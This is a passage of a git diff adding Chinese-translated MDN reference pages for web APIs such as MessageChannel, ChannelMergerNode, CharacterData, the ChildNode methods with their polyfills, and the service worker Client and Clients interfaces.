当我们的按钮被点击时,我们阻止了默认的表单提交,然后把输入到输入框里的内容通过 {{domxref("MessageChannel")}} 发送给 IFrame.

+ +

在 IFrame 里接收 port 和消息

+ +

在 IFrame 里,我们有下面的 JavaScript:

+ +
var list = document.querySelector('ul');
+var port2;
+
+// 监听初始的 port 传递消息
+window.addEventListener('message', initPort);
+
+// 设置传过来的 port
+function initPort(e) {
+  port2 = e.ports[0];
+  port2.onmessage = onMessage;
+}
+
+// 处理 port2 收到的消息
+function onMessage(e) {
+  var listItem = document.createElement('li');
+  listItem.textContent = e.data;
+  list.appendChild(listItem);
+  port2.postMessage('Message received by IFrame: "' + e.data + '"');
+}
+
+ +

当收到从主页面通过 {{domxref("window.postMessage")}} 方法传来的初始化消息时,我们运行 initPort 函数。它会保存传来的 port, 并且注册了一个 onmessage 事件处理器,每当有消息通过我们的 {{domxref("MessageChannel")}} 传来时,它都会被调用。

+ +

当收到从主页面发来的消息时,我们创建一个列表项,并把它插入到这个无序列表中,然后把这个列表项的 {{domxref("Node.textContent","textContent")}} 设置为事件的 data 属性(里面包含真正的消息)。

+ +

然后,我们通过在初始化时传到 IFrame 的 {{domxref("MessageChannel.port2")}} 上调用 {{domxref("MessagePort.postMessage")}} 来使用 message channel 发送一个确认消息给主页面。

+ +

在主页面中接收确认消息

+ +

回到主页面,我们来一起看看 onmessage 事件处理函数。

+ +
// 处理 port1 上收到的消息
+function onMessage(e) {
+  output.innerHTML = e.data;
+  input.value = '';
+}
+ +

当收到从 IFrame 发来的确认消息,说明原始消息被成功接收时,它把确认消息输出到段落中,并清空输入框,为输入下一个要被发送的消息做准备。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'web-messaging.html#channel-messaging', 'Channel messaging')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +
+

MessageChannel

+ +
+ + +

{{Compat("api.MessageChannel", 0)}}

+ +

MessagePort

+ +
+ + +

{{Compat("api.MessagePort", 0)}}

+
+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/channelmergernode/channelmergernode/index.html b/files/zh-cn/web/api/channelmergernode/channelmergernode/index.html new file mode 100644 index 0000000000..4fa770c82d --- /dev/null +++ b/files/zh-cn/web/api/channelmergernode/channelmergernode/index.html @@ -0,0 +1,64 @@ +--- +title: ChannelMergerNode() +slug: Web/API/ChannelMergerNode/ChannelMergerNode +translation_of: Web/API/ChannelMergerNode/ChannelMergerNode +--- +

{{APIRef("Web Audio API")}}

+ +

 ChannelMergerNode() 构造函数生成新的 {{domxref("ChannelMergerNode")}} 对象实例。

+ +

语法

+ +
var myNode = new ChannelMergerNode(context, options);
+ +

参数

+ +

从字典 {{domxref("AudioNodeOptions")}} 继承。

+ +
+
context
+
 {{domxref("BaseAudioContext")}} 代表你想要关联的音频上下文。
+
options {{optional_inline}}
+
定义你希望 ChannelMergerNode 具有的属性的 ChannelMergerOptions 字典对象(它还继承了 AudioNodeOptions 字典中定义的选项): +
    +
  • numberOfInputs: 定义了 {{domxref("ChannelMergerNode")}} 应该拥有的输入数量。如果没有指定,使用默认值6。
  • +
+
+
+ +

返回值

+ +

一个新的 {{domxref("ChannelMergerNode")}} 对象实例。

+ +

例子

+ +
var ac = new AudioContext();
+
+var options = {
+  numberOfInputs : 2
+}
+
+var myMerger = new ChannelMergerNode(ac, options);
+ +

规格

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API','#idl-def-ChannelMergerNode','ChannelMergerNode')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.ChannelMergerNode.ChannelMergerNode")}}

diff --git a/files/zh-cn/web/api/channelmergernode/index.html b/files/zh-cn/web/api/channelmergernode/index.html new file mode 100644 index 0000000000..d3ec848663 --- /dev/null +++ b/files/zh-cn/web/api/channelmergernode/index.html @@ -0,0 +1,89 @@ +--- +title: ChannelMergerNode +slug: Web/API/ChannelMergerNode +translation_of: Web/API/ChannelMergerNode +--- +

{{APIRef("Web Audio API")}}

+ +

 ChannelMergerNode 接口,经常与其对应的 {{domxref("ChannelSplitterNode")}} 接口一起使用,将不同的单声道输入重新组合成单个输出。每个输入用于填充输出的一个通道。这对于分别访问每个通道非常有用,例如,执行通道混合时,必须在每个信道上单独控制增益。

+ +

+ +

如果 ChannelMergerNode 用于一个单一输出,但输入数量与用于合并的信道数量相同;输入的数量被定义为其构造函数的参数及对 {{domxref("AudioContext.createChannelMerger")}} 的调用。 如果没有给出值,则为默认值 6

+ +

使用 ChannelMergerNode,可以创建比渲染硬件能处理的更多的通道输出。在这种情况下,当信号发送至 {{domxref("AudioContext.listener")}} 对象时,额外的信道将被忽略。

+ + + + + + + + + + + + + + + + + + + + + + + + +
输入数量变量; 默认为 6.
输出数量1
通道计数模式"max"
通道数量2 (不在默认计数模式下使用)
频道解释"speakers"
+ +

构造函数

+ +
+
{{domxref("ChannelMergerNode.ChannelMergerNode()", "ChannelMergerNode()")}}
+
生成一个新的 ChannelMergerNode 对象实例。
+
+ +

属性

+ +

没有具体属性;从其父级继承属性, {{domxref("AudioNode")}}。

+ +

方法

+ +

没具体方法; 从其父级继承方法, {{domxref("AudioNode")}}。

+ +

例子

+ +

{{page("/zh-CN/docs/Web/API/AudioContext/createChannelMerger","(举个)栗(例)子")}}

+ +

规格

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-channelmergernode-interface', 'ChannelMergerNode')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.ChannelMergerNode")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/characterdata/index.html b/files/zh-cn/web/api/characterdata/index.html new file mode 100644 index 0000000000..29af6d05ef --- /dev/null +++ b/files/zh-cn/web/api/characterdata/index.html @@ -0,0 +1,148 @@ +--- +title: CharacterData +slug: Web/API/CharacterData +translation_of: Web/API/CharacterData +--- +

{{APIRef("DOM")}}

+ +

CharacterData 抽象接口(abstract interface)代表 {{domxref("Node")}} 对象包含的字符。这是一个抽象接口,意味着没有 CharacterData 类型的对象。 它是在其他接口中被实现的,如 {{domxref("Text")}}、{{domxref("Comment")}} 或 {{domxref("ProcessingInstruction")}} 这些非抽象接口。

+ +

属性

+ +

从其父级 {{domxref("Node")}} 继承属性,并且实现了 {{domxref("ChildNode")}} 和 {{domxref("NonDocumentTypeChildNode")}} 接口。

+ +
+
{{domxref("CharacterData.data")}}
+
一个 {{domxref("DOMString")}},表示该对象中包含的文本数据。
+
{{domxref("CharacterData.length")}} {{readonlyInline}}
+
返回一个 unsigned long 的表示 CharacterData.data 包含的字符串的大小。
+
{{domxref("NonDocumentTypeChildNode.nextElementSibling")}} {{readonlyInline}}
+
返回其父节点所在的子节点列表(children list)中紧跟着的元素节点 {{domxref("Element")}},或者 null
+
{{domxref("NonDocumentTypeChildNode.previousElementSibling")}} {{readonlyInline}}
+
返回其父节点所在的子节点列表(children list)中前一个元素节点 {{domxref("Element")}},或者 null
+
+ +

方法

+ +

从其父级 {{domxref("Node")}} 继承方法,并且实现了 {{domxref("ChildNode")}} 和{{domxref("NonDocumentTypeChildNode")}} 接口。

+ +
+
{{domxref("CharacterData.appendData()")}}
+
为 CharacterData.data 字符串追加指定的 {{domxref("DOMString")}} ;当方法返回时,data 包含的是已合并的 {{domxref("DOMString")}}.
+
{{domxref("CharacterData.deleteData()")}}
+
在 CharacterData.data 字符串中,从指定位置开始,删除指定数量的字符;当方法返回时,data 包含的是缩短了的 {{domxref("DOMString")}}.
+
{{domxref("CharacterData.insertData()")}}
+
在 CharacterData.data 字符串中,在指定的位置,插入指定的字符;当方法返回时,data 包含的是已修改的 {{domxref("DOMString")}}.
+
{{domxref("ChildNode.remove()")}} {{experimental_inline}}
+
把对象从其父节点的children list中删除。
+
{{domxref("CharacterData.replaceData()")}}
+
在 CharacterData.data 字符串中,从指定位置开始,把指定数量的字符替换为指定的 {{domxref("DOMString")}}; 当方法返回时, data 包含的是已修改的 {{domxref("DOMString")}}.
+
{{domxref("CharacterData.substringData()")}}
+
返回一个包含了从 CharacterData.data 中的指定位置开始,指定长度的 {{domxref("DOMString")}} 。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#characterdata', 'CharacterData')}}{{Spec2('DOM WHATWG')}}Added implemention of the {{domxref("ChildNode")}} and {{domxref("NonDocumentTypeChildNode")}} interface.
{{SpecName('DOM3 Core', 'core.html#ID-FF21A306', 'CharacterData')}}{{Spec2('DOM3 Core')}}No change from {{SpecName('DOM2 Core')}}.
{{SpecName('DOM2 Core', 'core.html#ID-FF21A306', 'CharacterData')}}{{Spec2('DOM2 Core')}}No change from {{SpecName('DOM1')}}.
{{SpecName('DOM1', 'level-one-core.html#ID-FF21A306', 'CharacterData')}}{{Spec2('DOM1')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatGeckoDesktop("1.0")}}6{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Implements {{domxref("ChildNode")}} interface.{{CompatUnknown}}{{CompatGeckoDesktop("25.0")}} [1]{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Implements {{domxref("ChildNode")}} interface.{{CompatUnknown}}{{CompatGeckoMobile("25.0")}} [1]{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +

[1] Two properties, nextElementSibling and previousElementSibling, have been moved to the {{domxref("NonDocumentTypeChildNode")}} interface, also implemented by CharacterData.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/childnode/after/index.html b/files/zh-cn/web/api/childnode/after/index.html new file mode 100644 index 0000000000..9ae67b4815 --- /dev/null +++ b/files/zh-cn/web/api/childnode/after/index.html @@ -0,0 +1,175 @@ +--- +title: ChildNode.after() +slug: Web/API/ChildNode/after +translation_of: Web/API/ChildNode/after +--- +
{{APIRef("DOM")}}
+ +

ChildNode.after() 方法会在其父节点的子节点列表中插入一些 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。插入位置为该节点之后。{{domxref("DOMString")}} 对象会被以 {{domxref("Text")}} 的形式插入。

+ +

语法

+ +
[Throws, Unscopable]
+void ChildNode.after((Node or DOMString)... nodes);
+
+ +

参数

+ +
+
nodes
+
一组准备插入的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 。
+
+ +

错误

+ + + +

示例

+ +

插入元素

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.after(span);
+
+console.log(parent.outerHTML);
+// "<div><p></p><span></span></div>"
+
+ +

插入文本

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+
+child.after("Text");
+
+console.log(parent.outerHTML);
+// "<div><p></p>Text</div>"
+ +

同时插入元素和文本

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.after(span, "Text");
+
+console.log(parent.outerHTML);
+// "<div><p></p><span></span>Text</div>"
+ +

ChildNode.after() 会被 with 环境排除

+ +

after() 方法不在 with 环境的范围内,可以查看 {{jsxref("Symbol.unscopables")}} 来了解更多信息。

+ +
with(node) {
+  after("foo");
+}
+// ReferenceError: after is not defined 
+ +

Polyfill

+ +

You can polyfill the after() method in Internet Explorer 9 and higher with the following code:

+ +
// from: https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/after()/after().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('after')) {
+      return;
+    }
+    Object.defineProperty(item, 'after', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function after() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.parentNode.insertBefore(docFrag, this.nextSibling);
+      }
+    });
+  });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);
+ +

Another polyfill

+ +
// from: https://github.com/FabioVergani/js-Polyfill_Element.prototype.after/blob/master/after.js
+
+(function(x){
+ var o=x.prototype,p='after';
+ if(!o[p]){
+    o[p]=function(){
+     var e, m=arguments, l=m.length, i=0, t=this, p=t.parentNode, n=Node, s=String, d=document;
+     if(p!==null){
+        while(i<l){
+         e=m[i];
+         if(e instanceof n){
+            t=t.nextSibling;
+            if(t!==null){
+                p.insertBefore(e,t);
+            }else{
+                p.appendChild(e);
+            };
+         }else{
+            p.appendChild(d.createTextNode(s(e)));
+         };
+         ++i;
+        };
+     };
+    };
+ };
+})(Element);
+
+
+
+/*
+minified:
+
+(function(x){
+ var o=x.prototype;
+ o.after||(o.after=function(){var e,m=arguments,l=m.length,i=0,t=this,p=t.parentNode,n=Node,s=String,d=document;if(p!==null){while(i<l){((e=m[i]) instanceof n)?(((t=t.nextSibling )!==null)?p.insertBefore(e,t):p.appendChild(e)):p.appendChild(d.createTextNode(s(e)));++i;}}});
+}(Element));
+*/
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-childnode-after', 'ChildNode.after()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.ChildNode.after")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/childnode/before/index.html b/files/zh-cn/web/api/childnode/before/index.html new file mode 100644 index 0000000000..a09c552459 --- /dev/null +++ b/files/zh-cn/web/api/childnode/before/index.html @@ -0,0 +1,187 @@ +--- +title: ChildNode.before() +slug: Web/API/ChildNode/before +tags: + - api、dom、节点、方法 +translation_of: Web/API/ChildNode/before +--- +
{{APIRef("DOM")}} {{SeeCompatTable}}
+ +

 ChildNode.before 方法可以在ChildNode这个节点的父节点中插入一些列的 {{domxref("Node")}} 或者 {{domxref("DOMString")}} 对象,位置就是在ChildNode节点的前面,{{domxref("DOMString")}} 对象其实和 {{domxref("Text")}}节点一样的方式来完成插入的。

+ +

语法

+ +
[Throws, Unscopable]
+void ChildNode.before((Node or DOMString)... nodes);
+
+ +

Parameters参数

+ +
+
nodes
+
一系列的 {{domxref("Node")}} 或者 {{domxref("DOMString")}} 
+
+ +

Exceptions

+ + + +

Examples事例

+ +

Inserting an element插入元素节点

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.before(span);
+
+console.log(parent.outerHTML);
+// "<div><span></span><p></p></div>"
+
+ +

Inserting text插入文本节点

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+
+child.before("Text");
+
+console.log(parent.outerHTML);
+// "<div>Text<p></p></div>"
+ +

Inserting an element and text同时插入文本和元素

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.before(span, "Text");
+
+console.log(parent.outerHTML);
+// "<div><span></span>Text<p></p></div>"
+ +

ChildNode.before() is unscopable不可使用区域

+ +

The before() 不能配合with声明使用,See {{jsxref("Symbol.unscopables")}} for more information.

+ +
with(node) {
+  before("foo");
+}
+// ReferenceError: before is not defined 
+ +

Polyfill

+ +

兼容ie9或者更高版本的方法,You can polyfill the before() method in Internet Explorer 9 and higher with the following code:

+ +
// from: https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/before()/before().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('before')) {
+      return;
+    }
+    Object.defineProperty(item, 'before', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function before() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.parentNode.insertBefore(docFrag, this);
+      }
+    });
+  });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);
+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-childnode-before', 'ChildNode.before()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(54.0)}}{{CompatGeckoDesktop(49)}}{{CompatUnknown}}{{CompatOpera(39)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(54.0)}}{{CompatGeckoMobile(49)}}{{CompatUnknown}}{{CompatOpera(39)}}{{CompatUnknown}}{{CompatChrome(54.0)}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/childnode/index.html b/files/zh-cn/web/api/childnode/index.html new file mode 100644 index 0000000000..4566c0d514 --- /dev/null +++ b/files/zh-cn/web/api/childnode/index.html @@ -0,0 +1,77 @@ +--- +title: ChildNode +slug: Web/API/ChildNode +tags: + - API + - ChildNode + - DOM + - Node + - 接口 +translation_of: Web/API/ChildNode +--- +

{{APIRef("DOM")}}

+ +

ChildNode 混合了所有(拥有父对象) {{domxref("Node")}} 对象包含的公共方法和属性。其由 {{domxref("Element")}}、{{domxref("DocumentType")}} 和 {{domxref("CharacterData")}} 对象实现。

+ +

属性

+ +

没有继承任何属性,也没有任何专有属性。

+ +

方法

+ +

没有继承的方法。

+ +
+
{{domxref("ChildNode.remove()")}} {{experimental_inline}}
+
ChildNode 从其父节点的子节点列表中移除。
+
{{domxref("ChildNode.before()")}} {{experimental_inline}}
+
在其父节点的子节点列表中插入一些 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。插入位置为 ChildNode 之前。{{domxref("DOMString")}} 对象会被以 {{domxref("Text")}} 的形式插入。
+
{{domxref("ChildNode.after()")}} {{experimental_inline}}
+
在其父节点的子节点列表中插入一些{{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。插入位置为 ChildNode 之后。{{domxref("DOMString")}} 对象会被以 {{domxref("Text")}} 的形式插入。
+
{{domxref("ChildNode.replaceWith()")}} {{experimental_inline}}
+
使用一组 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象替换 ChildNode。{{domxref("DOMString")}} 对象会以 {{domxref("Text")}} 的形式插入。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('DOM WHATWG', '#interface-childnode', 'ChildNode')}}{{Spec2('DOM WHATWG')}}Splitted the ElementTraversal interface in {{domxref("ParentNode")}} and ChildNode. The previousElementSibling and nextElementSibling are now defined on the latter. The {{domxref("CharacterData")}} and {{domxref("DocumentType")}} implemented the new interfaces. 新增 remove(), before(), after() and replace() 这四个方法。
{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}{{Spec2('Element Traversal')}}Added the initial definition of its properties to the ElementTraversal pure interface and use it on {{domxref("Element")}}.
+ +

Polyfill

+ +

GitHub 上的外部资源:childNode.js

+ +

浏览器兼容性

+ + + +

{{Compat("api.ChildNode")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/childnode/remove/index.html b/files/zh-cn/web/api/childnode/remove/index.html new file mode 100644 index 0000000000..001975cd60 --- /dev/null +++ b/files/zh-cn/web/api/childnode/remove/index.html @@ -0,0 +1,95 @@ +--- +title: ChildNode.remove() +slug: Web/API/ChildNode/remove +tags: + - API + - ChildNode + - DOM + - Method +translation_of: Web/API/ChildNode/remove +--- +

{{APIRef("DOM")}}

+ +

ChildNode.remove() 方法,把对象从它所属的 DOM 树中删除。

+ +

语法

+ +
node.remove();
+ +

示例

+ +

使用 remove()

+ +
<div id="div-01">Here is div-01</div>
+<div id="div-02">Here is div-02</div>
+<div id="div-03">Here is div-03</div>
+
+ +
var el = document.getElementById('div-02');
+el.remove();
+// id 为 'div-02' 的 div 被删掉了
+
+ +

{{EmbedLiveSample('使用_remove()')}}

+ +

ChildNode.remove() 是不可见的

+ +

with 语句中,remove() 方法是不可见的。参阅 {{jsxref("Symbol.unscopables")}} 了解更多信息。

+ +
with(node) {
+  remove();
+}
+// ReferenceError: remove is not defined
+ +

Polyfill

+ +

You can polyfill the remove() method in Internet Explorer 9 and higher with the following code:

+ +
//https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/remove()/remove().md
+(function (arr) {
+   arr.forEach(function (item) {
+    if (item.hasOwnProperty('remove')) {
+      return;
+    }
+    Object.defineProperty(item, 'remove', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function remove() {
+        this.parentNode.removeChild(this);
+      }
+    });
+  });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('DOM WHATWG', '#dom-childnode-remove', 'ChildNode.remove')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.ChildNode.remove")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/childnode/replacewith/index.html b/files/zh-cn/web/api/childnode/replacewith/index.html new file mode 100644 index 0000000000..37e2d93a5a --- /dev/null +++ b/files/zh-cn/web/api/childnode/replacewith/index.html @@ -0,0 +1,111 @@ +--- +title: ChildNode.replaceWith() +slug: Web/API/ChildNode/replaceWith +tags: + - DOM + - Node +translation_of: Web/API/ChildNode/replaceWith +--- +
{{APIRef("DOM")}} {{SeeCompatTable}}
+ +

ChildNode.replaceWith() 的方法用一套 {{domxref("Node")}} 对象或者 {{domxref("DOMString")}} 对象,替换了该节点父节点下的子节点 。{{domxref("DOMString")}} 对象被当做等效的{{domxref("Text")}} 节点插入。

+ +

语法

+ +
[Throws, Unscopable]
+void ChildNode.replaceWith((Node or DOMString)... nodes);
+
+ +

参数

+ +
+
节点
+
一系列用来替换的{{domxref("Node")}} 对象或者 {{domxref("DOMString")}} 对象。
+
+ +

例外

+ + + +

案例

+ +

Using replaceWith()

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.replaceWith(span);
+
+console.log(parent.outerHTML);
+// "<div><span></span></div>"
+
+ +

ChildNode.replaceWith() is unscopable

+ +

replaceWith()的方法并没有作用于with语句. 参考 {{jsxref("Symbol.unscopables")}} 获取更多信息.

+ +
with(node) {
+  replaceWith("foo");
+}
+// ReferenceError: replaceWith is not defined 
+ +

Polyfill

+ +

你可以在IE9及更高级的浏览器中使用下面的代码向上兼容replaceWith()的方法:

+ +
(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('replaceWith')) {
+      return;
+    }
+    Object.defineProperty(item, 'replaceWith', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function replaceWith() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.parentNode.replaceChild(docFrag, this);
+      }
+    });
+  });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('DOM WHATWG', '#dom-childnode-replacewith', 'ChildNode.replacewith()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.ChildNode.replaceWith")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/client/index.html b/files/zh-cn/web/api/client/index.html new file mode 100644 index 0000000000..33231d6ddf --- /dev/null +++ b/files/zh-cn/web/api/client/index.html @@ -0,0 +1,131 @@ +--- +title: Client +slug: Web/API/Client +tags: + - API + - Client + - Experimental + - Interface + - NeedsTranslation + - Reference + - Service Workers + - ServiceWorkerClient + - ServiceWorkers + - TopicStub +translation_of: Web/API/Client +--- +

{{SeeCompatTable}}{{APIRef("Service Workers API")}}

+ +

Client 接口表示一个可执行的上下文,如{{domxref("Worker")}}或{{domxref("SharedWorker")}}。{{domxref("Window")}} 客户端由更具体的{{domxref("WindowClient")}}表示。 你可以从{{domxref("Clients.matchAll","Clients.matchAll()")}} 和{{domxref("Clients.get","Clients.get()")}}等方法获取Client/WindowClient对象。

+ +

Methods

+ +
+
{{domxref("Client.postMessage()")}}
+
向client发送一条消息。
+
+ +

Properties

+ +
+
{{domxref("Client.id")}} {{readonlyInline}}
+
客户端的唯一通用标识符,字符串形式。
+
{{domxref("Client.type")}} {{readonlyInline}}
+
客户端的类型,字符串形式。可能是"window", "worker", 或 "sharedworker"。
+
{{domxref("Client.url")}} {{readonlyInline}}
+
客户端的URL,字符串形式。
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#client', 'Client')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40)}}{{ CompatGeckoDesktop("44.0") }}[1]{{CompatNo}}{{CompatOpera(27)}}{{CompatNo}}
type property{{CompatChrome(60)}}{{ CompatGeckoDesktop("54.0") }}{{CompatUnknown}}{{CompatOpera(47)}}{{CompatUnknown}}
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(40)}}{{CompatChrome(40)}}{{ CompatGeckoMobile("44.0") }}{{CompatNo}}{{CompatOperaMobile(27)}}{{CompatNo}}
type property{{CompatChrome(60)}}{{CompatChrome(60)}}{{ CompatGeckoMobile("54.0") }}{{CompatUnknown}}{{CompatOperaMobile(47)}}{{CompatUnknown}}
+ + + +

See also

+ + diff --git a/files/zh-cn/web/api/client/postmessage/index.html b/files/zh-cn/web/api/client/postmessage/index.html new file mode 100644 index 0000000000..842029d9db --- /dev/null +++ b/files/zh-cn/web/api/client/postmessage/index.html @@ -0,0 +1,134 @@ +--- +title: Client.postMessage() +slug: Web/API/Client/postMessage +translation_of: Web/API/Client/postMessage +--- +

{{SeeCompatTable}}{{APIRef("Client")}}

+ +

{{domxref("Client")}} 接口的 Client.postMessage() 方法允许一个service worker客户端向一个  {{domxref("ServiceWorker")}}发送一个消息,会触发service worker的message事件,通过监听这个事件,可以获取这个消息。

+ +

语法

+ +
Client.postMessage(message[, transfer]);
+ +

返回

+ +

Void.

+ +

参数

+ +
+
message
+
发送给service worker的消息内容。
+
transfer {{optional_inline}}
+
可转移的对象,例如对端口的引用。
+
+ +

例子

+ +

从 service worker 向 client 发送消息:

+ +
addEventListener('fetch', event => {
+  event.waitUntil(async function() {
+    // Exit early if we don't have access to the client.
+    // Eg, if it's cross-origin.
+    if (!event.clientId) return;
+
+    // Get the client.
+    const client = await clients.get(event.clientId);
+    // Exit early if we don't get the client.
+    // Eg, if it closed.
+    if (!client) return;
+
+    // Send a message to the client.
+    client.postMessage({
+      msg: "Hey I just got a fetch from you!",
+      url: event.request.url
+    });
+
+  }());
+});
+ +

接收message:

+ +
navigator.serviceWorker.addEventListener('message', event => {
+  console.log(event.data.msg, event.data.url);
+}); 
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#client-postmessage-method', 'postMessage()')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(45.0)}}[1]{{ CompatGeckoDesktop("44.0") }}[2]{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{ CompatGeckoMobile("44.0") }}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(45.0)}} [1]
+
+ + diff --git a/files/zh-cn/web/api/clients/claim/index.html b/files/zh-cn/web/api/clients/claim/index.html new file mode 100644 index 0000000000..4797f8c064 --- /dev/null +++ b/files/zh-cn/web/api/clients/claim/index.html @@ -0,0 +1,66 @@ +--- +title: Clients.claim() +slug: Web/API/Clients/claim +translation_of: Web/API/Clients/claim +--- +

{{SeeCompatTable}}{{APIRef("Service Worker Clients")}}

+ +

{{domxref("Clients")}} 接口的  claim() 方法允许一个激活的 service worker 将自己设置为其 {{domxref("ServiceWorkerRegistration.scope", "scope")}} 内所有clients 的{{domxref("ServiceWorkerContainer.controller", "controller")}} . 这会在由此service worker 控制的任何 clients 中触发 {{domxref("ServiceWorkerContainer","navigator.serviceWorker")}}  上的  "controllerchange"  事件.

+ +

